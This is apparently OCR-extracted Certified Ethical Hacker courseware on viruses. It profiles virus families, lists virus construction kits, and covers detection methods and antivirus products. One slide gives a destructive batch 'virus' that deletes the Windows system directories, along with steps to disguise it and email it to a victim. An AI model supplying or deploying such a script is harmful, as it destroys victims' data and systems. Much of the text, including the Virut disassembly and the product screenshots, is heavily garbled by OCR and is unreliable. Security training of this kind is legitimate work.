extensions

$
$

All viruses belonging to the Virut
family also contain an IRC-based
backdoor that provides unauthorized
access to infected computers

) Copyright © by EC-Council
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.FSrci@B42603E loc_42683E: ; CODE XREF: start+3Dlj
* .rsrc:0B426083E cmp dword ptr [ebx+4Eh], 'sihT’
* _rsrc:0B426045 jnz short loc_h26053
Program control Flow | 2 @042 6847 nov eax, [ebx+3Ch]
-FSFC: 08426840 add eax, ebx
* .rsrc:0B8426 840 cmp word ptr [eax], "EP’
-2 .rsrc:88426051 jz short loc_426858
! -Fsrc: 884260653
X .rsrc:@8426053 loc_426853: ; CODE XREF: start+29Tj
7t _rsro: 88426853 sub ebx, 186h
' * .rsrc:88426059 jmp short loc_A42603E
! -Fsrc: 88426858 ; —— -
| .rsrc:BB42605B
1 .rFSrci@B4260858 loc_42685B: ; CODE SREF: start+35Tj
** _rsrc:00426058 nov edx, [eax+78h]

Virus locates the offset to the PE header of Kernel32.dll

Fsrc 80426069 LocateGetProcAddress:

; CODE XREF: start:loc 4268981 ]

eax, ebx

dword ptr [eax-1], 746547000
short loc_4260890

dword ptyr [eax+3], ‘corP’
short loc_4260890

dword ptyr [eax+7], ‘rddA’
short loc_4260890

dword pty [eax+B8Bh], "sse’
short GetProcAddressFound

; CODE XREF: start+57Tj
; start+6BaTj ...
LocateGetProcAddress
ECX
ebhp

* .rsrc:BB426869 lodsd
* .rsrc:BB42686A add
* _rsrc:B8842506C cmp
* .rsrc:BB426873 jnz
* .rsrc:BB426875 cmp
* .rsrc:BB42687C0 jnz
* .rsrc:BB42687E cmp
* .rsrc:BB8426885 jnz
* .rsrc:BB426887 cmp

-2 -rsrc:B842688E jz

! -FSrcI80426090

| FSrc: 80426098 loc_426090:

! -FSrcI80426090

' _rsrc:AB426890 loop

1" _rsrc:BB4h26892 pop

| * .rsrc:AB426893 pop

t Y rsrc:BB426A9h retn

| .rsrc:@8426895

! -Fsrc: 884260895

| .rsrc:@B8426895 GCetProcAddressFound:

** _rsrc:B0426095 sub

; CODE XREF: start+72Tj
[esp+BCh+var_C], ecx

EC-Council

All Rights Reserved

Copyright © by EC-Council
. Reproduction is Strictly Prohibited




C EH Vvirus:w32/Diwi
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Divvi is a file
infecting
virus that
does not
currently

appear to be

spreading in
the wild

EC-Council

Attempts to
copy itself to
removable
drives and
sets an
autorun file
to enable
itself to
spread

It infects the
.EXE files

Win3z,Divinorum PE infector sample
Coded by Fakedminded [EQF-project

.................................

.................................

While
running, it
displays the
following
message:

Copyright © by EC-Council
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c EH Worm.SymbQOS.Lasco.a

Certified = Ethical Hacker

It is a worm capable of infecting PDAs and mobile phones
running under Symbian OS

Spreads to executable files [SIS archives] on the infected device,
making it the first virus for this platform

Written by the author of the most recent versions of
Worm.SymbOS.Cabir and based on Cabir's source code

Cabir is the first network worm capable of spreading via
Bluetooth; it infects mobile phones which run Symbian OS

Lasco.a replicates via BlueTooth and also infects files

It scans the disk for SIS archives and attempts to infect these files
found by inserting its code while executing

Install
Velasco?

;"E'S
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C EH DiskKiller
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Disk Killer is a destructive, memory resident,
Master Boot Record (MBR)/Boot Sector

Infecting virus ‘

It spreads by writing copies of itself to 3
blocks on either a floppy diskette or hard
disk

These blocks are marked as bad in the File
Allocation Table (FAT) so that they cannot be
overwritten

The MBR is patched so that when the system
Is booted, the virus code is executed and it
can attempt to infect any new diskettes

EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
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C EH BadBoy
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If any system has badboy.exe process on it then
that system may be infected with a strain of the

sysid worm

Badboy.exe is considered to be a security risk, not
only because antivirus programs flag sysid worm as
a virus, but also because a number of users have
complained about its performance

Delaying the removal of badboy.exe may cause
serious harm to your system and will likely cause a
number of problems, such as slow performance,
loss of data, or leaking private information to
websites

Copyright © by EC-Council
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C EH HappyBox
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It is a dangerous memory resident boot
Virus

It writes itself into floppy boot sectors
and MBR of hard drive

It hooks INT 8, 9, 13h, and 21h and
manifests itself with different sound and
video effects, displays the message
"Happy Box", erases disk sectors, and
corrupts the files
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C EH Java.StrangeBrew
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This is the first known virus infecting Java files

It is able to replicate itself only in case the access to disk files is
allowed

Virus is not able to replicate if it is run under known browsers, the
system will display a warning message and terminate the virus

When virus is run as the application, virus gets possibility to call
disk access Java functions

While infecting, virus opens files as binary data files, reads headers
and parses internal Java format

SR
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C EH MontecCarlo Family
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Depending on the It is named so as

These are They hook INT system timer, it i
dangerous 21h and write they run a card t drﬁéo;?ggg he
memory resident themselves to the game and erase N
parasitic end of EXE files the disk sectors as CASIN O;
encrypted viruses that are executed per the results of Monte Carlo
the game while playing

&Y

¥ f‘:\.'l
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C EH PHP.Neworld
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This is script virus written in PHP scripting
language

It uses the same infection technology as
first known PHP virus PHP.Pirus

It appends to files an "include" instruction
that refers to the main virus code

The virus infects .PHP, HTML, .HTM,
HTT files in the C:Windows directory

) Copyright © by EC-Council
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CEH w32/wBoy.a
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Upon execution, these files spawn a malicious
process

The malicious programs are typically stored in
the following directory:

e %SYSTEMDIR%\XXXXX\<RANDOMLY name
generated>.exe

Where XXXXX iIs an existing folder under
%SYSTEMDIR%

EC-Council
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C EH ExeBug.d

Certified = Ethical Hacker

This is a family of boot and multipartite stealth viruses

They hook INT 13h and write themselves to the MBR of the hard drive
and boot sectors of the floppy disks

Multipartite viruses of that family overwrite the headers of EXE file with
a virus dropper

Other viruses overwrite the EXE files with trojan programs that erase
the hard drive sectors when infected files are executed

Copyright © by EC-Council
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c EH W32/Voteral.worm.e
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W32/Voterai.worm.e is a particularly damaging worm related to elections
campaign in Kenya

Once the malware starts, it will proceed in turning the user machine into a
complete zombie machine

In fact, it will disable almost every security software that may be installed on
the machine, and modify the system registry to disable almost any operation
that user may perform

As soon as these operations have been performed, the malware will create the
following folders on the root of C: drive and also include any mapped drives

The following files which are a copy of this worm are created in the folders
listed above:

* Rocks.exe
e Yahoo.exe

e Souls.exe _
Copyright © by EC-Council
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C EH W32/Lecivio.worm

Certified = Ethical Hacker

This worm may be spread via mapped network drives and removable
drives

When this worm is executed, it creates the
following files:

e %SYSDIR%\CMDIAL.EXE

e %SYSDIR%\INF.EXE

e %SYSDIR%\VIOLLICE.EXE)

e %SYSDIR%\DNANDLK.EXE

* %SYSDIR%\DPNMODEMPL.EXE
e %SYSDIR%\RPCSS.EXE
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CEH w32/Lurkaa
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Files infected by W32/Lurka.a.sys contain parasitic code & i <
attached at their end
o>
When an infected file is started, the control is
transferred to the parasitic code, which in turn will first
restore the original code and then will drop the infector
and rootkit component in the driver’s directory
Running an infected executable will directly infect the
local system
This infection will cause the system to perform slowly
Copyright © by EC-Council
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C EH w32/vora.worm!p2p
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This worm tries to spread over peer to peer shared folders; the actual execution of the
malicious binary is a manual step, there is no exploit associated with it

The file is not internally compressed with a packer

If the system is infected, then a small GUI message box appears on the screen with caption
of the message box

Clicking on the OK button has little effect, it does not go away, it keeps on re-appearing

Killing it manually can be easily done by killing it in the windows task manager, not only is
the malicious binary process visible, it's also visible in the application tab but Virus scan is
able to kill it automatically
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Writing Virus Programs
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C EH \riting a Simple Virus Program
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Create a batch file Game.bat with the following text

* @ echo off
 del c:\winnt\system32\*.*
e del c:\winnt\*.*

Convert the Game.bat batch file to Game.com using bat2com utility

Send the Game.com file as an email attachment to a victim

When the victim runs this program, it deletes core files in WINNT
directory making Windows unusable
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C E H Virus Construction Kits
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Virus creation programs and construction kits can
automatically generate viruses

There are number of Virus construction kits available in

the wild

Some virus construction kits are:

e Kefi's HTML Virus Construction Kit
 Virus Creation Laboratory v1.0

* The Smeg Virus Construction Kit

e Rajaat's Tiny Flexible Mutator v1.1
e Windows Virus Creation Kit v1.00

EC-Council
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c E H Examples of Virus Construction Kits
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Batch Virus Generator This program makes batch viruses. Requires MS-DO0S to function.
vli.lc

Belongs to those very popular virus creation programs. Nowhere Man's
Virus Creation V.C.L. is a potentially dangerous program, and great care should be
Laboratory v1.0 using when experimenting with *any™ virii, trojans, or logic bombs
produced by it.

Instant Virus . N
Requires MS-DO0S v6.0 or higher.

Macro Virus
Development Kit
v1.0b

e Generates resident viruses
Generator vi.66b )

RTFM is an object module that can be linked to your virus to make it

. . impossible for a scanner to use a simple string. It will encrypt your virus
Raja h.:ltltsa:“l]r:yvlzllelmhle and generates a random decryptor using random registers and random
’ instructions. Therefore, an algorithmic approach will be needed to
detect viruses using this object module.
G2 Phalcon/Skism's Requires MS-D0S v6.0 or higher.

Macro Virus Development Kit is a tool which generates macro viruses
for Microsoft Winword, according to user specifications.

The Super Appending | This program generates replicating appending batch virus programs
Batch VCK v1.1k from user-specified parameters. Needs MS-DOS v6.0 or higher.

SkamWerks Labs This program generates macro viruses for MS Word v6.0.

Trojan Horse - . - . ) N
Construction Kit v2.0 Simple trojan horse tookit. Requires MS-DOS v6.0 or higher.
The Simple WinScript - . - .

Virus Kt v 1k VBS WinScript virus construction toolkit.
VBS Worm Generator o
v2.0 BETA Powerful VB Script worm generator.

Virus construction kit. Requires MS-DOS v6.0 or higher.

Senna Spy Worm o
Generator 2000 VB Script worm generator.

EC-Council All Rights Reserved. Reproduction is Strictly Prohibited
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Virus Detection Methods
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C E H Virus Detection Methods
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Scanning

e Once avirus has been detected, it is possible to write
scanning programs that look for signature string
characteristic of the virus

Integrity Checking

 Integrity checking products work by reading your entire disk
and recording integrity data that acts as a signature for the
files and system sectors

Interception

e The interceptor monitors operating system requests that
write to disk
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C EH Virus Incident Response
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Detect the attack: Not all anomalous behavior can
be attributed to Viruses

Trace processes using utilities such as handle.exe,
listdlls.exe, fport.exe, netstat.exe, pslist.exe, and
map commonalities between affected systems

Detect the virus payload by looking for altered,
replaced, or deleted files. New files, changed file
attributes, or shared library files should be checked

Acquire the infection vector, isolate it. Update anti-
virus and rescan all systems
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C EH what is Sheep Dip
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Slang term for a computer which connects to a network only
under strictly controlled conditions, and is used for the
purpose of running anti-virus checks on suspect files,
Incoming messages and so on

It may be inconvenient and time-consuming for
organizations to give all incoming email attachment a 'health
check' but the rapid spread of macro-viruses associated with
word processor and spreadsheet documents, such as the
'Resume’ virus circulating in May 2000, makes this
approach worthwhile
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C EH Sheep Dip Computer
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Run Port Monitor Run File Monitor

Run the virus in this

o
/

\ monitored
environment
Run Network Monitor Run Registry Monitor
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C EH Virus Analysis - IDA Pro Tool
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It is a dissembler and debugger tool that supports
both Windows and Linux platforms

It is an interactive, programmable, extendible,
multi-processor

Used in the analysis of hostile code and
vulnerability research and software reverse
engineering

Allows automated unpacking/ decrypting of
protected binaries
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IDA P

CEH

ro (Virus Disassembler):

Screenshot 1

Certified = Ethical Hacker
E IDA View-A
text:0040810108 arg 4 = dword ptr BCh ~
L. text: 004010818
* text:08401818 push ebp
* text:00401811 mov ebp, esp
* text:B8481813 sub esp, 40h
* text:-88481816 push ebx
* text:08401817 push esi
* text:00401018 push edi
* text:00481819 lea edi, [ebp+uar 48]
* text:8048101C mou ecx, 18h
* text:004010821 mou fax, BCCCCCCCCh
* text:08401026 rep stosd
* text:88481028 push offset 7?7 C@_BBHEHGKHEThe?S5string?Sentered?5i
* text:0848182D call printf
® text:BA481832 add esp, 4
* text:08401035 mou eax, [ebp+arg 4]
* text:B8A4810838 mow ecx, [eax+4]
* text:08481083B ush ECX
* text: ﬂnumnac ﬁn offset ??_CE_02DILLE?$CFs7SARE -
* text:Ba call printfF
_CE_ BEDILLE?$EF5?$HHE db 25h ; % DATA XREF: main+2cTo
heap_alloc dbg+BCTo
dh f3h ; s
E— dh 8
77 0B BBHEHGHHEThE?55tr1ng?SEnterEd?515?ﬁ?$HHE db 'The 5tr1ng entered is',8ah,8
DATA XREF: main+18To
db a8
db a
db B

EC-Council
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c E H IDA Pro (Virus Disassembler):
Screenshot 2
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E DA View-A M=

L. arg_4 = dword pty BCh
push ehp
mouw ebp, esp
sub esp, 468h
push ebx
push esi
push edi
lea edi, [ebp+var 48]
mou ecx, 18h
mow eax, BCCCCCCCCh
rep stosd

push offset 77 CE BBHEHGKHERThe?Sstring?Sentered?5is?6?5AAR ; "'Th
call printf

mou eax, [ebp+arg
mow eCX, [eax+h]
push ecx

printf
Xor eax, eax
pop edi
pop esi i
4 >
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C EH Prevention is Better than Cure
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Do not accept disks or programs
without checking them first using a
current version of an anti-viral program

Do not leave a floppy disk in the disk
drive longer than necessary

Do not boot the machine with a disk In
the disk drive, unless it is a known
“Clean” bootable system disk

Keep the anti-virus software up-to-date:
upgrade on a regular basis
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Anti-Virus Software
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C EH Anti-Virus Software
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One of the preventions against viruses is to install anti-
virus software and keep the updates current

vendors. Here is a list of some freely
available anti-virus software for
personal use:

There are many anti-virus software W

e AVG Antivirus

Norton Antivirus
AntiVir Personal Edition
Bootminder

Panda Active Scan
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c EH AVG Antivirus

rined | i moker WWW.QFISOft.COM

Security protection against viruses, worms, Trojans and potentially unwanted
programs

Features:

 Quality proven by all major antivirus certifications (VB100%, ICSA, West Coast
Labs Checkmark)

* Improved virus detection based on better heuristics and NTFS data streams
scanning

» Smaller installation and update files
e Improved user interface

8 AVG Resident Shield 21xl

Virus Detected!

il

YWhile opening fle: C:\Frogram Filez\DevPlanneE =porthExcel C5Y cav vhs
YWwharning: Hidden extenzion  vhs

@ Enntlnue Irfo Heal Delete file ove bo W aulk
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c E H AVG Antivirus: Screenshot 1
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Program Taests Resuks Service [nFormation

AVG Security status E*‘

’ “au ae [ully protecled o mstem iz up to dete and sl instdled
Anti-Virus components ane working propeily

Tl Switch lo Advanced ~ Scan C.umputer

Control Canler Seans &l hatd chives an pour compulsr, 1 & vis & found, AYG

—— N MO [ O [HONVILES oL LS 5 H-SEEn rstiuctons far s
i ¥ I [ of proride pou wath step-by-step irst far &

T Al
g Virus Wault st

Test Results
> Scan Selected Areas
Check for Updates I ' ”i - Seang foldsts, loppy disks, CDs, optical disks, had dives o
othei fargels whch you can select before stait scannng
=

Hﬁ Exit
Check for Updates

FI "‘lt- - Opens the AYE Update dislog
e

For Help prass F1 T.5.427 268, 1340475 1071372006 6
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c E H AVG Antivirus: Screenshot 2
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Program  Tests Results Service  Information
Y . .
] Fl n |s h ed . Selected Areas Test (1/20/200 2:37.06 PH)
Lz AVG Anti-Virus  Test Result
i
Scanning Information Object Resut | Status =
Started: Manually 1/20/2006 2:37.05 PM 1‘,' Cantrol Center jJF'artitiﬂn tble [MBF] ok Guick chec
Ended: 12042006 20928 PM == Boat sector of disk C: ok Quick chec
Objects scanned: 48710 ﬁ Virus Vault ﬁ Systern registry 5 oftware\Microsof\Windows NTACumert... Scarhed
Errors: 0 ﬂ' Systern regist Software\MicrosoftSWindows NTACurert... Scanned
’ @ Help Topics ﬂ' System regist Software\MicrosoftSWindows\Curmentifer... Scanned
: : ﬂ astem reqistry S ofhwareiMicrosaftWindaws\ Cumentier.., nEanned
Display Test configuration }*L_%P Scheduler A System registry Software\Microsoltwindaws\Curenter Scarned
® _ _ ﬂ Systern registy Software\Microsoftwindows\Cumentier... Sranned
Wi s |.'I Rescue Disk Wizard A System registy SoftwareMicrosoltwindaws\Curenter,. Scarned
J ﬂ' System registy SoftwaredMicrosotSWindows\Curentier... Scanned
£ J Test Results ﬂ' Systern registmy Software\Microsoftwindows\Cumentier... Sranned
" Meed addiional protection? Click ﬁ Systern registy Software\Microsoftwindows\Cumentier... Sranned
Nﬂ VIrus fﬂu nd ' below to learm about 84G plus ﬁ System reqistry S oftware\MicrosoftWindows\ Cureniyer... Scanned
Firewall . Sustem reristi SnftwaresMinianfiindmws\Comenfer Srapned T
G plus Firewall page { T b
Details Back
@ Scan again Cloze
Far Help press F1 71,370 [267.14.17)227 |1/11/2006 5:00:00 PM
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c EH Norton Antivirus

WWW.Symantec.com
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Features:

» Protects from viruses, and updates virus definitions
automatically

e Detects and repairs viruses in emails, instant
messenger attachments and compressed folders

e Monitors network traffic for malicious activity

Norton antivirus provides the
following scan options:

e Full system scan

e Custom scan

e Schedule scan

e Scan from the command line
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C E H Norton Antivirus: Screenshot 1
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i

('f"_é))l:iueUpdate ﬂ Options (% Euerljppgrt' ‘
Norton AntiVirus System Status: a &)
StalS i Security Scanning Features
SRRILAAGEEE f«""‘ Auto-Protect I Trial Period
HEFIUI'TS l{_ ....................................................................................... The trial pericu:l ends
f"‘ Internet Wormn Protection  On on 2)4/2006, Purchase
SRR LRI R cooe Morkon Ankivirus
@ Ernai Scanning on befare this date to
et it anas e e sens e continue uninterrupted
. prakteckion,
AU Full Systern Scan Mot completed
More Info
Subscription Service
’rf‘ Wirus Definitions 1/18/2006
_L Purchasze by 2f4i2006
’rf‘ Automatic Livelpdate O | RS

Y symantec. e AntiVirus>
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C E H Norton Antivirus : Screenshot 2
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f% ._j]

System

Auto-Protect Exclusion List more info
w Auto-Protect
Bloadhound i
What items to exclude
Advanced
Exclusions b
o - .nch
F Manual Scan haypstem volume information
Internet =
. @ Horton Anti¥irus
F Email
[nternet .
Frotecti Add Item more info
Instant . =
! rar (= or
Livellp

1 Include subfolders

Hotme A Cancel
[ Only exclude fram compressed file scanning

Other

F Security
Miscellaneous

Defautt Al ok, Cancel Fage Defaults
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c EH McAfee

www.mcafee.com
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4 N

Features:

N J

e SpamKiller:
e Stops spam from infecting the inbox
e SecurityCenter:
 Lists computer security vulnerabilities
» Offers free real-time security alerts
* VirusScan:
» ActiveShield: Scans the files in real time
» Quarantine: Encrypts the infected files in the quarantine folder

e Hostile Activity Detection: Examines computer for malicious
activity
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c EH McAfee SpamKiller: Screenshot
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L QY McAfee

SECURITY

SpamKiller B sport @) ek

Welcome
S Kill S E-mail Overview
dMillier >umima
P ry Total e-mail received to date.
Cverview of your Spamkiler status,
Total e-mail a7
? E-mail filtering is enabled Click here to disable,
Spam e-mail 35
% Messages blocked today: 35 Click here to view,

oam (26%) ()

C:g Friends List last updated: 7/28/2004 Clidk here to update.,

Recent Spam
Recent Spam
Spam received in the last 30

Maost recent e-mails that were identified as spam and blocked. days.

From Subject Date Rescue

FRT Alerts <... Scottrade = Value AM... 7/23/2004 5:35 FM L

Barbra <Jess, .. long time no see 7/253/2004 5:35 PM =

Matthew <vli... lenny 7/28/2004 5:04 PM =

Sharlene Mo... immobilty 7/28/2004 4:34 PM gy | | W Adult

Emil Dougher... lowlowlow interestRates 7/28/2004 4:24 PM = :f'sme_ I
inancia

Hugo Goodm... MoRisk SimpleFarm F28/2004 4:17 PM ,

g o = B Products & Services
Rodger Dunn... singular 7i28/2004 3:44 PM =

B Security Threats
W Cther
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c EH McAfee SecurityCenter: Screenshot

Certified = Ethical Hacker

EC-Council

m

McAfee’ SecurityCenter

[ o Update

o

Common Tasks

» Home
View Recent Events
Manage Metwork,
Mainkain Compuker
Backup and Restore Files
Lockdown Firewwall
Restore Firewall Defaults
Manage Wireless Metworks

Components Installed

- YWirusScan
- Personal Firewall
Mare...

@ Advanced Menu

Am I Protected? Yes
Your computer prokection services are enabled and up-to-date, Mo action is required.

Computer & Files
Protected

Internet & Network
Protected
=l

E-mail & IM
Protected

Parental Controls
Enabled

SecurityCenter Information
Update Check: 7/14/2006

Last Scan: 772006

Subscription Expiration: 7/31/2006

®

These services are prokecting your computer @
and files:

¥ Mirus Protection

» Spyware Pratection
» SwstemGuards

¥ Windows Prokection
¥ PC Health

To change your options, click Configure below,
@ Zonfigure

@ Configure {-}} Wiew Details
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c EH McAfee VirusScan: Screenshot
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*'13:" McAfee YirusScan - Scan for ¥iruses

ty McAfee | VjrusScan

Location to Scan Scan Options

- j My Computer v Scan subfolders
T & 3 FIDFW (#:) v Scan all files
: “II' Eut;zirﬁ:zk{g:.;j Clear this item to 2can program files and documents only
- ' v Secan within compressed files
Check zip files and many other comprezzed file types
v Secan for new unknown viruses
Uz advanced heuristic techniques to detect new viruses
v Scan for potentially unwanted applications
Detect spyware, adware, dialers, and other applications

Previous Scan Information

You have not perfarmed a scan on your computer.

Click Scan to scan your computer far viruzes.
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C EH Socketshield
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SocketShield is a zero-day exploit blocker

SocketShield can block exploits from entering the computer, regardless of how long it takes
for the vendors of vulnerable applications to issue patches

BACK END TECHNOLOGY

Exploit code resides on a server and is installed SocketShield monitors HTTP traffic at the Community Intelligence
onta vulnerable computers via a nebwork of socket level. Exploits are detected and SocketShield users submit information on
distributors that are paid for each download stopped before they enter the machine, Explot distributors which is fed to
reputation filters

'

Reputation Based
HTTP Flltering

Proprietary system creates reputation
based filter of known bad and suspect

"| distributor sites

Correlation Engine
Assembles information in real time
and uploads into SocketShield

t

R —

SocketShi

Exploit Intelligence
Extended “Honeypot” network harvests
exploits as they enter the wild. Code is
identified and fed info correlation angine
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C EH Socketshield: Screenshot
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#pl Socketshield Control Panel - [Settings] - |EI|5|

| Mebwork ackiviky | Exploits prevented | Malicious sites blocked | Settings 4k

News

Thank, you trying the applyiSave |
Socketshield 0,9.5 BETA, ‘Watch
this space for alerts and late
breaking news Frarm XPL.

ﬂ More XPL Mews, ..

Settings

Scans incoming network traffic and blocks attempts to exercise known exploits,
These exploits may be used to deliver various ‘malware’ agents to vour compuker
withouk user consent, (recommended: checked)

Summary ¥ Elock Sites Wb sites which are known ko have attempted exploits on visiting users are
blocked, (recommended: checked)

Yersion: 0.9.5 BETA

|Ipdates
Mo updates have occurred PeEs

Explaits blocked: 0 v automatic Update  SocketShield will automatically keep itself updated with the latest exploit and
Malicious sites Blocked: o rnalicious site infarmation From Explait Prevention Labs, (recommended: checked)

Exploit detections created:
0426006 01:04 PM

Malsite detections created:
0426006 12:45 PM ¥ when an exploit or malicious site is blocked
play a warning sound,

Alerts Reegistrakion

This product is registered to:
Pcvxv

Reqistered on:
[ when an exploit or malicious site is | d

blocked automatically popup an alert
details window,

License:

I Makify me when an aukomatic update occurs PETF'-
and show SocketShield's status ab skartup,

Ready I_ I_ I_ o
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C EH BitDefender
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BitDefender 2008 is an outstanding product with a user—friendly interface

It scans all existing files on computer, all incoming and outgoing emails, IM
transfers, and all other network traffic

BitDefender has also improved their existing B—HAVE feature that runs pieces
of software on a virtual computer to detect code that could be an unknown virus

Features:

e “Privacy Protection” for outgoing personal information

» “Web Scanning” while you are using the Internet
e “Rootkit Detection and Removal,” which detects then removes hidden virus

programs
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BitDefender: Screenshot
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* BitDefender Scanner

* BitDefender Security Center

Antimalware Scan - step 1 of 3

BitDefender Antivirus 2008

Scan Status

Expires in 30 days Buy | My Account | Register | Help | Support
| =*HKEY_LOCAL_MACHINESYSTEMCONTROLSET001
L L SERVICESICISWCUmagePath=>CiWINDOWS'SYSTEM3Z\CISVC.EXE Status:
Elapsed Tine: 00:00:25 Filesisec: 24 2 [ssues affects

the security of
your system
Scan Statistics

Scanned tams: 600

- Protected Protected Critical Critical
3 Infected Rems: O Hidden Files: 8 Fix Al Issues Warning Warning

Sutpect Reshs: 0 Hidden Processet B

Quick Tasks Security

k “." Update How 0% Full System Scan
———

n
Scan My Documents

A b . : z
| Pouse. [N} Sp. [ concel | &ﬂ% Settings | History
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C/EH ESET Nod32
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NOD32 antivirus contains a minimal-impact, high performance virus
scanning engine

Offers integrated real-time protection against viruses, worms, trojans,
spyware, adware, phishing, and hackers

Has a number of practical features to help you monitor your computer's
security including outbreak notices and history/report logging

NOD32 stops more zero-day threats on first sight
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c EH ESET Nod32: Screenshot
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[iil NOD32 On-Demand (Manual) Scanner - [Control Center Profile] E]@g]
_ ISIE:_E!nning targets Scanning |'I'EI. _ j""":I:'til'_'ll'I_S_ Setup | F‘ruf.iles_

' Scanning Log Lo
CWINDOW Shaystem 32 corfighdefault - emor opening {File locked) [£]
CHWINDOW Shsystem 32 corfig default. LOG - emor apening {File locked) [4]
CAWINDOW S aystem 32 wcorfigh5AM - emor opening (File locked) [4]
CAWINDOW S avstem 32 config S AM . LOG - emor opening {Fle locked) [4]
CAWINDOW S system 32 corfig SECURITY - emor opening (File locked) [4]
CAWINDOW Shaystern 32 wcorfigh SECURITY LOG - emor opening {Fle locked) [4]
CAWINDOW S system 32 corfighsoftware - emor opening (Fle locked) [4]
CAWINDOW Sheystemn 32 corfigheoftware . LOG - emor opening (File locked) [£]
CAWINDOW S system 32 corfighsystem - emor opening {File locked) [4]
CAWINDOW Shaystern 32 corfighsystem. LOG - emor opening (File locked) [4]
Mumber of scanned files: 183455
Mumber of threats found: 0
Time of completion: 17:0%:44 Total scanning time: 1115 sec {00:18:35)

K
Motes

[£] File cannot be opened. t may be in use by another application or operating system o

| £ ¥

Scrolling | |

Version: 1.1238 (20050930)NT | Scanorly | | Scan & Clean || Quit || Help
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CIEH cA Anti-Virus
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CA Anti-Virus provides comprehensive protection against
viruses, worms, and Trojan horse programs

Detects viruses, worms, and Trojans

Scans emails automatically

Defends against emerging viruses

Protects files, downloads, and attachments
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C EH CA Anti-Virus: Screenshot
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@ CA Anti-Virus

E'.'-'.e' - @.'.\:H.e - %—!_1 -

Overview

Overvie 1  Scan My Computer for Viruses

Perform & Al scan of your computer for vineses

[-R Select Files and Folders to Scan

ect speafc Hes or folders 1o scan for viruses

Laskt Product Update: §

Last System Scam The most recesd threats 19 reporied

by B G4 Eceurty Ldvaory Team

Product Lcense: o

4

¥
Qupraning
P L =
'&' Real-time Protection: @) ol
: Eread Protectson:
=]
EE’ b

Beports Your Computer i Protected ndon Lom

Ca Ant-Vrus i up b date and Rully fundtonal, Yeur somputer i

protected Fom the Wiest virus Sreals

anme

Pause

Stop

iIfected:

leaned:

Skakus
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C EH F-Secure Anti-Virus
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F-Secure Anti-Virus 2007 is an anti-virus tool software developed by F-Secure
Corporation

Offers an easy to use protection for your computer against viruses, worms, and
rootkits

( Features:
. y

Protects computer against viruses and worms

The new F-Secure DeepGuard technology protects you against zero-day and
other future threats

Detects and removes spyware from computer
E-mail scanning

Easy to install and use

The fastest protection against new virus outbreaks
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C EH F-Secure Anti-Virus: Screenshot
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7 F-Secure Anti-Virus 2007

Hnis2007

= mo -,
E@ Home: — Status: Protected
i i
— -, | G ¥irus & Spy Protection Mormal Change. ..
(g Virus & Spy
A Protection " % Automatic Updates Enabled Disable
= g 126 - Check now
|'@ A (% Last update check 17126 - Successful iZheck now
. Updates | Security Mews 12 unread Wig, .
F Subscription skatus Yalid, expires on 29,1.2007  Change...
F-SECURE" Advanced. ..

. '

v F-Secure.com | Wirus World Map | Support
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C EH Kaspersky Anti-Virus
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Provides traditional anti-virus protection based on the latest protection
technologies

Allows users to work, communicate, surf the Internet, and play online games on
computer safely and easily

Protects from viruses, Trojans and worms, spyware, adware, and all types of
keyloggers

Protection from viruses when using ICQ and other IM clients

Detects all types of rootkits

Provides three types of protection technologies against new and unknown threats:

e Hourly automated database updates
e Preliminary behavior analysis
e On-going behavior analysis
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Kaspgrsk?‘
Anti-Virus

File Anti-Virus
Mail Anti-Virus
Web Anti-Virus

Help

f;.@._."';'5'-'“!,,-";—‘1—.' .1..-.__ S I

Proactive Defense

0&9 Settings

- Protection

| |
\\H«/’I Protection is a suite of services protecting your computer against

security threats like viruses and spyware.

= Computer protection status
Protection of your computer:
Scanned:

Stop | Pause | Settings

= Scan critical areas

The task was not performed

Settings

Schedule

= Update databases
Databases release date:

Status:

Settings

Rollback to the previous databases

s :ﬁmr computer is protected |

Kaspersky Anti-Virus:
e Screenshot

running
22394

6/30/2007 9:55:41 AM

databases are up to date
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C EH F-Prot Antivirus
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F-Prot Antivirus Is an antivirus software
package, which protects your data from
virus infection and removes any virus that
may have infected your computer system

It features real-time protection and email
scanning, as well as heuristic detection of
suspected viruses

Automatic updates ensure that any new
virus is iImmediately added to the F-Prot
Antivirus detection and disinfection
database
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C EH F-Prot Antivirus: Screenshot
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#% F-Prot Antivirus - OnDemand Scanner- Tnal version, 30 day(s] left

Eile ‘iew Help

¢ F-Prot Antivirus ————eee—-—-~-~-~—~~—~
OnDemand Scanner ===

— F-Prat Ankiviruz - Yersion 3.1
e ] | anbemand PoaTime Integily

info updater Scanner Pratectaor e checker ‘
% Uzing the cument virus definitions files

Stan SIGM.DEF - created : 942242001

s e SIGM2DEF - created : 3/2242001

S MACRO.DEF - created ; 9/22/2000

Settings FPROT &ntivirug identifies the following wiruzes and Trojans:

38920 DOSAsindows, 96 UnisdLinus

7289 OfficesM acro

125 Java, 4 Palm05 R egister info
15585  Scrpt VB & JavaScript,Unix shel IRCINF] _—
965 Batch/Others [0, PIF PHP \winB at, BAT]

: Hel
3394  Destructive programs ek

FPROT &ntiviruz therefore detects at least: 57318 wiruzes and Trojans. Quit

Scanned files: Infected objects: Suzpicious objects: Time elapzed:

) Copyright © by EC-Council
EC-Council All Rights Reserved. Reproduction is Strictly Prohibited




C EH Panda Antivirus Platinum
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Panda Antivirus Platinum transparently eliminates viruses at the
desktop and TCP/IP (Winsock) level

It detects and disinfects viruses before they can touch your hard <
drive

It can protect your computer from more than 60,000 different
viruses, including encrypted, polymorphic, boot, file, macro
(Word, Excel, and Access), trojans, Java applets, ActiveX
controls, malignant Web sites, email, and Internet viruses

It includes an email and Internet protection resident that will
scan POP3, SMTP, HTTP, FTP, mIRC, and NNTP traffic
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CE H Panda Antivirus Platinum:
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® Panda Antiviruz 6.0 Platinum
Eile Wiew Goto Toolz Help
— T
Cel @ L (&)
Scan Configure Save R epart Yirg List |l pdate: Basic Stare
Scan Scan - Immediate (Advanced) ‘@
f‘.\ Predefined immediate zcans Scan Whole System |
£ Scan Disk Drive &; = L b emory
Immediate # Scan Hard Drive C: o A
# Scan CD-ROM Drive D: H =
% £ Scan all Metwark Drives | | o D
. # Scan all E-mail SE:
Scheduled # Scan'whole System - % Outlook. Express
4| | | 2] Micrasoft Outlak Intemet Se
@ 4l falders =1
Starting... E"" Desktop =
EI@ by Computer [
----- W emony —
& CR A
=g
'ermariernk :
Permanent é‘ D- | ﬂ
2 E:
G- MiHAnk Funress ;I g I I LI
b &Ll o &gk
¢ ge] 3 & el
| | 7
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C EH avast! Virus Cleaner
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avast! Virus Cleaner removes selected virus & worm infections from your
